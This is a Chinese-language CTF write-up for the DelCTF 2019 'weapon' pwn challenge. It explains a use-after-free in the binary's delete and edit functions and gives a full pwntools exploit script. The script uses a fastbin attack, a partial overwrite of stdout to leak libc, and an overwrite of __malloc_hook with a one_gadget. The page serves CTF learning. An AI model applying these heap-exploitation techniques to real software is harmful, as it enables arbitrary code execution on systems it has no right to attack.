DelCTF2019 weapon WP

保护

在这里插入图片描述

分析

  • 程序一共只有三个操作:增、删、改。又是没有泄露,看来又是利用IO_FILE泄露内存了。
  • 漏洞还是很明显的,在删除操作中没有将free掉的指针置NULL
    在这里插入图片描述
  • 并且编辑的时候没有检测指针的合法性,因此形成了UAF
    在这里插入图片描述
  • 在添加操作中限制了分配的大小在这里插入图片描述

利用

  • 程序中多处存在scanf函数,根据前面的文章可以知道,scanf可以帮我们得到一块unsortbinchunk,我们构造的攻击链如下:
    1.申请4个chunk,释放其中的两个,然后利用scanf的特性得到一个unsortbin chunk。
    2.释放剩余两个fastbin chunk,利用UAF修改其FD指向unsortbin chunk中。
    3.利用UAF修改unsortbin的低16位,利用fastbin attack有几率得到stdout附近的地址。
    4.部分修改stdout,泄露内存。
    5.利用fastbin attack精确攻击到malloc_hook,修改为one_gadget

EXP

from pwn import*
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(size,name,idx):
    p.sendlineafter('>> ','1')
    p.sendlineafter(': ',str(size))
    p.sendlineafter(': ',str(idx))
    p.sendlineafter(':',name)

def Edit(idx,name):
    p.sendlineafter('>> ','3')
    p.sendlineafter(': ',str(idx))
    p.sendafter(':',name)
def Del(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter(':',str(idx))

while True:
    try:
        p=process('./weapon',aslr=True)
        proc_base=p.libs()[os.path.abspath(os.path.join(os.getcwd(), './weapon'))]
        Add(0x60,'\x11'*8,0)
        Add(0x50,'\x22'*8,1)
        Add(0x60,'\x33'*8,2)
        Add(0x60,'\x33'*8,3)
        Del(1)
        Del(2)
        p.sendlineafter('>> ','4'*0x500)
        Add(0x10,'',1)
        '''gdb.attach(p,'x/10gx '+str(0x202060+proc_base)+'\n heap bins')
        pause()'''
        Add(0x60,'',1)
        Del(3)
        Del(0)
        Edit(0,'\x00')
        '''gdb.attach(p,'x/10gx '+str(0x202060+proc_base)+'\n heap bins')
        pause()'''
        Add(0x60,'',1)
        Edit(2,'\0'*0x28+p64(0x71)+p16(0x95dd))
        Add(0x60,'',1)
        Add(0x60,'',1)
        Edit(1,'\0'*0x33+p32(0xfbad1880)+'hack'+'\0'*0x18+'\x88')
        p.recv(8)
        libc_base=u64(p.recv(8))-libc.sym['_IO_2_1_stdin_']
        malloc_hook=libc.sym['__malloc_hook']+libc_base
        one=[0x45206,0x4525a,0xef9f4,0xf0897]
        success('libc_base:'+hex(libc_base))
        Del(0)
        Edit(0,p64(malloc_hook-0x23)+'\n')
        Add(0x60,'',1)
        Add(0x60,'\0'*0x13+p64(one[3]+libc_base),1)#
        p.sendlineafter('>> ','1')
        p.sendlineafter(': ','8')
        p.sendlineafter(': ','0')
        p.interactive()
        raw_input()
        exit(0)
    except EOFError,e:
        p.close()

总结

  • IO_FILE的利用逐渐变为常态,需熟练掌握。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值